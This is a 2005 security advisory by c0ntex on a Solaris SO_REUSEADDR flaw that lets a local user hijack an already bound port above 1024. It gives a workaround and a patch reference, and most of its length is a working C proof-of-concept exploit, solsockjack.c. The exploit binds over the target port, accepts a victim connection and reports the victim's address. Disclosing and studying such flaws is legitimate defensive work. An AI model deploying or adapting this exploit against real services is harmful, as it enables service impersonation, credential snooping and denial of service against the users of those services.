/*<br>
*****************************************************************************************************************<br>
$ An open security advisory #7 - SUN Solaris SO_REUSEADDR Local Socket Hijack Bug<br>
*****************************************************************************************************************<br>
1: Bug Researcher: c0ntex - c0ntexb[at]gmail.com<br>
2: Bug Released: July 06 2005<br>
3: Bug Impact Rate: Medium / Hi<br>
4: Bug Scope Rate: Local / Remote<br>
*****************************************************************************************************************<br>
$ This advisory and/or proof of concept code must not be used for commercial gain.<br>
*****************************************************************************************************************<br>
<br>
Sun MicroSystems<br>
<a href="http://www.sun.com">http://www.sun.com</a><br>
<br>
Solaris has a bug in the use of SO_REUSEADDR in that the Kernel favours any socket binding operation that<br>
is more specific than the general "*.*" wildcard bind(). As such, a malicious socket can bind to an already<br>
bound interface if a specific IP address is used.<br>
<br>
This hijack can be performed against any process over 1024, including root owned services, it is not limited<br>
to your own user account. One can then mimic the original service and snoop usernames / passwords, files and<br>
data with a trojan version of software, or just cause a DOS against the legitimate service, providing the<br>
service is bound to a port above 1024 and uses the SO_REUSEADDR option.<br>
<br>
Anyway, a work around could be setting the port numbers that are valuable to the system as privileged. Using<br>
the following kernel parameter, you can set ports above 1024 to act as reserved so only root can bind to them.<br>
<br>
tcp_extra_priv_ports_add<br>
<br>
To view privileged ports, run the following command:<br>
<br>
ndd /dev/tcp tcp_extra_priv_ports<br>
<br>
To set ports as privileged, run the following command:<br>
<br>
ndd -set /dev/tcp tcp_extra_priv_ports_add 8080<br>
<br>
Effected: All Solaris versions.<br>
Not effected: Linux, OpenBSD, FreeBSD, Windows.<br>
<br>
SUN have released a patch for the issue which can be downloaded from sunsolve.<br>
<br>
Document Audience: PUBLIC<br>
Document ID: 116965-08<br>
Title: Obsoleted by: 116965-09 SunOS 5.8: ip/arp/tcp/udp patch<br>
Update Date: Thu May 05 09:28:25 MDT 2005<br>
See Patch Revision History<br>
<br>
Patch Id: 116965-08<br>
<br>
Problem Description: <br>
<br>
5089150 Binding to a port which has already been bound may incorrectly succeed<br>
<br>
*/<br>
<br>
/* solsockjack.c */<br>
#include <stdlib.h><br>
#include <stdio.h><br>
#include <string.h><br>
#include <unistd.h><br>
#include <netinet/in.h><br>
#include <sys/socket.h><br>
#include <sys/types.h><br>
#include <sys/utsname.h><br>
#include <arpa/inet.h><br>
<br>
#define
BAD
"!@#$%^&*()-_=+[]{};':\",/<>?\\|`~
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"<br>
#define DEFHOST "localhost"<br>
#define MAX_INCONN 1<br>
#define
PORT
1241 /* Nessus */<br>
#define SYSTEM "SunOS"<br>
<br>
#define BL "\x1B[1;34m"<br>
#define NO "\x1B[0m"<br>
#define PI "\x1B[35m"<br>
#define PU "\x1B[1;35m"<br>
#define RE "\x1B[1;31m"<br>
#define WH "\x1B[1;37m"<br>
#define YE "\x1B[1;33m"<br>
<br>
void<br>
banner(void)<br>
{<br>
fprintf(stderr, "\n%s[-]
%sSUN Solaris SPARC / x86 Local Socket Hijack Exploit\n", YE, NO);<br>
fprintf(stderr, "%s[-]
%sKernel issue allows a bind on an already bound socket\n", YE, NO);<br>
fprintf(stderr, "%s[-]
%sallowing a malicious user to impersonate a service that\n", YE, NO);<br>
fprintf(stderr, "%s[-] %sis
already running on a port greater than 1024, making\n", YE, NO);<br>
fprintf(stderr, "%s[-]
%sservice-in-the-middle attacks a trivial task to perform.\n", YE, NO);<br>
fprintf(stderr, "%s[-]
%sDeveloped by c0ntex || c0ntexb@gmail.com%s\n\n", YE, WH, NO);<br>
<br>
_exit(EXIT_SUCCESS);<br>
}<br>
<br>
void<br>
usage(int argc, char **argv)<br>
{<br>
fprintf(stderr, "%s[-] %s Usage:\n", YE, NO);<br>
fprintf(stderr, "%s[-] %s\t -h \t\tIP address to bind socket to\n", YE, NO);<br>
fprintf(stderr, "%s[-] %s\t -p \t\tport number to attempt hijack of\n", YE, NO);<br>
fprintf(stderr, "%s[-] %s\t -v \t\tPrints this help\n", YE, NO);<br>
<br>
fprintf(stderr, "%s[-] %s%s -h <a href="http://10.1.1.215">10.1.1.215</a> -p 1241\n\n", YE, NO, argv[0]);<br>
<br>
_exit(EXIT_FAILURE);<br>
}<br>
<br>
void<br>
checkerr(char *isvuln)<br>
{<br>
free(isvuln);<br>
puts("Not today!");<br>
_exit(EXIT_FAILURE);<br>
}<br>
<br>
void<br>
jackerr(char *vulnerable)<br>
{<br>
free(vulnerable);<br>
_exit(EXIT_FAILURE);<br>
}<br>
<br>
char<br>
*checksys(char *isvuln)<br>
{<br>
struct utsname name;<br>
<br>
if(uname(&name) < 0) {<br>
puts("uname failed");<br>
}<br>
<br>
isvuln = malloc(6);<br>
if(!isvuln) {<br>
perror("malloc");<br>
_exit(EXIT_FAILURE);<br>
}<br>
<br>
if((name.sysname == NULL) ||
(strlen(name.sysname) < 1) || (strlen(name.sysname) > 5)) {<br>
checkerr(isvuln);<br>
}<br>
<br>
memcpy(isvuln, name.sysname, strlen(name.sysname));<br>
if(!isvuln) {<br>
checkerr(isvuln);<br>
}<br>
<br>
return(isvuln);<br>
}<br>
<br>
int<br>
main(int argc, char **argv)<br>
{<br>
int inbuf, jacksock, opts, solvuln;<br>
int port = PORT;<br>
<br>
char *vulnerable = NULL;<br>
char *systype = NULL;<br>
char *isvuln = NULL;<br>
char *bad = NULL;<br>
<br>
struct sockaddr_in solaris, victims;<br>
<br>
if(argc < 2) {<br>
banner();<br>
_exit(EXIT_FAILURE);<br>
}<br>
<br>
if((systype = checksys(isvuln)) == NULL) {<br>
puts("Something messed up!");<br>
checkerr(isvuln);<br>
}<br>
<br>
if(strcmp(SYSTEM, systype) != 0) {<br>
puts("System is not supported - SunOS only!");<br>
checkerr(isvuln);<br>
}<br>
<br>
fprintf(stderr, "\n%s->
%sOK, potential vulnerable %s[%s] %ssystem, continuing..\n", WH, NO,
BL, systype, NO);<br>
<br>
free(isvuln); sleep(2);<br>
<br>
while((opts = getopt(argc, argv, "h:p:v")) != -1) {<br>
switch(opts)<br>
{<br>
case 'h':<br>
bad = BAD;<br>
vulnerable = malloc(16);<br>
if(!vulnerable) {<br>
perror("malloc");<br>
_exit(EXIT_FAILURE);<br>
}<br>
<br>
if((optarg == NULL) || (strlen(optarg) < 7) || (strlen(optarg) >
15) || strpbrk(bad, optarg)) {<br>
puts("\n[-] Failed: IP address just isn't right!\n");<br>
jackerr(vulnerable);<br>
}<br>
<br>
memcpy(vulnerable, optarg, strlen(optarg));<br>
if(!vulnerable) {<br>
jackerr(vulnerable);<br>
}<br>
break;<br>
case 'p':<br>
port = atoi(optarg);<br>
if((port < 1024) || (port > 65535)) {<br>
puts("\n[-] Failed: Port number just isn't right!\n");<br>
usage(argc, argv);<br>
_exit(EXIT_FAILURE);<br>
}<br>
break;<br>
case 'v':<br>
usage(argc, argv);<br>
break;<br>
default:<br>
usage(argc, argv);<br>
break;<br>
}<br>
}<br>
<br>
if(vulnerable == NULL) {<br>
jackerr(vulnerable);<br>
}<br>
<br>
fprintf(stderr, "%s->
%sJacking port %s[%d] %sat address %s[%s]%s\n", WH, NO, PI, port, NO,
PU, vulnerable, NO);<br>
<br>
jacksock = socket(AF_INET, SOCK_STREAM, 0);<br>
if(jacksock < 0) {<br>
perror("socket");<br>
jackerr(vulnerable);<br>
} sleep(2);<br>
<br>
if(setsockopt(jacksock,
SOL_SOCKET, SO_REUSEADDR, &solvuln, sizeof(int)) < 0) {<br>
perror("setsockopt");<br>
}<br>
<br>
solaris.sin_family = AF_INET;<br>
solaris.sin_port = htons(port);<br>
solaris.sin_addr.s_addr = inet_addr(vulnerable);<br>
memset(&solaris.sin_zero, '\0', sizeof(solaris.sin_zero));<br>
<br>
if(bind(jacksock, (struct sockaddr *)&solaris, sizeof(struct sockaddr)) < 0) {<br>
perror("bind");<br>
fprintf(stderr, "[-] %sFailed: %sCould not snag port, must be
patched!\n", RE, NO);<br>
jackerr(vulnerable);<br>
}<br>
<br>
fprintf(stderr, "%s->
%s%sSuccess!! %sPort %s[%d] %shas been hijacked!\n%s-> %sWait...\n",
WH, NO, YE, NO, PI, port, NO, WH, NO);<br>
<br>
if(listen(jacksock, MAX_INCONN) < 0) {<br>
perror("listen");<br>
puts("[-] Failed: Could not listen for an incoming connection!");<br>
jackerr(vulnerable);<br>
} sleep(2);<br>
<br>
fprintf(stderr, "%s->
%sOK, listening for incoming connections to compromise", WH, NO);<br>
<br>
inbuf = sizeof(victims);<br>
<br>
if(accept(jacksock, (struct sockaddr *)&victims, &inbuf) < 0) {<br>
perror("accept");<br>
puts("[-] Failed: Could not accept the incoming connection!");<br>
jackerr(vulnerable);<br>
}<br>
<br>
fprintf(stderr, "\n%s->
%sSnagged a victim connecting from %s[%s]%s\n", WH, NO, YE,
inet_ntoa(victims.sin_addr), NO);<br>
<br>
sleep(1);<br>
<br>
close(jacksock);<br>
<br>
puts("-> Victim has been released to live another day!");<br>
<br>
sleep(1);<br>
<br>
puts("-> Test was a success!");<br>
<br>
free(vulnerable);<br>
<br>
return(0);<br>
}<br>
<br>